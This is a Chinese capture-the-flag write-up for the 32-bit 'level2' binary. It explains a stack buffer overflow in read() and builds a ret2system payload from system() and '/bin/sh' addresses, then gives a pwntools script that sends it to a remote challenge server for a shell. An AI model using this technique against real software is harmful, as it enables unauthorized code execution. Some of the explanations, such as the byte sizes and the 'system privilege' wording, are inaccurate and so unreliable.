题目:level2
开PE看信息,进checksec看详情
进checksec,查看到程序无PIE,堆栈不可执行,无栈保护
跑一遍逻辑,还是hello word
于是开32位IDA查看
f5main函数
看源码,主要就是echo了一个hello world,同时很明显上方有一个显眼的脆弱函数
双击进入脆弱函数查看
单独摘出源码
ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-88h]@1
system("echo Input:");
return read(0, &buf, 0x100u);
}
系统要求input输入内容,然后return了一个read操作,同时读了一个&buf,buf是0x100u个空间,猜测是要把这个buf打满然后让溢出的内容给read读到,双击&buf进去查看偏移
单独摘出buf,s,r的十六进制地址
buf:00000088
s: 00000000
r: 00000004
简单计算一下总共偏移了88-0+4也就是0x88 + 0x04个地址能把buf堵死,然后能进入read操作,因此去IDA左侧的函数栏找一找有没有能直接执行系统命令的函数
回到main函数的图形界面,可以看到下面有一个system函数,f5反编译进去查看
发现该函数能够返回一个system权限
找到system函数的地址:0x08048320
但这只是system执行,而且从代码中可以看到system()中还要输入一个command,这个命令并没有办法直接输入,因此查看在源码中是否存在能cat flag的命令字符串,或者是能拿到bin/sh权限的字符串
打开左上角view
窗口的open subviews
-> Strings
找bin/sh的地址:0x0804A024
但同样要注意的是,32位程序在运行中栈的结构是:调用函数地址
-> 函数返回地址
-> 参数
尝试构造payload:'A'*0x88+'B'*0x04
先用来堵死buf的缓存,准确的说是0x88个字符堵死buf缓冲,然后剩下的0x04是ebp的地址,ebp就是基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部,对应着源码中的s,可以理解为start,作为了压栈的开始
继续往后拼接p32(0x08048320)
,该地址是试图给其read到一个system函数地址,p32构造是因为程序是32位
以上是调用函数地址
的步骤。
接下来是函数的返回地址,而不是参数地址,已知main函数return 0,因此堵死这个0,可以直接p32(0)
接上堵死,且0是8个节,也可以上p32(0x11111111)
,11111111可以是任意8个十六进制字堵死,以上作为函数返回值的操作入栈。
最后是拼接我们的bin/sh
地址:p32(0x0804A024)
。
最终payload为:'A'*0x88+'B'*0x04 + p32(0x08048320) +p32(0) +p32(0x0804A024)
脚本:
from pwn import *
r = remote("220.249.52.133",48125)
payload = 'A'*0x88+'B'*0x04 + p32(0x08048320) +p32(0) +p32(0x0804A024)
r.sendline(payload)
r.interactive()
运行: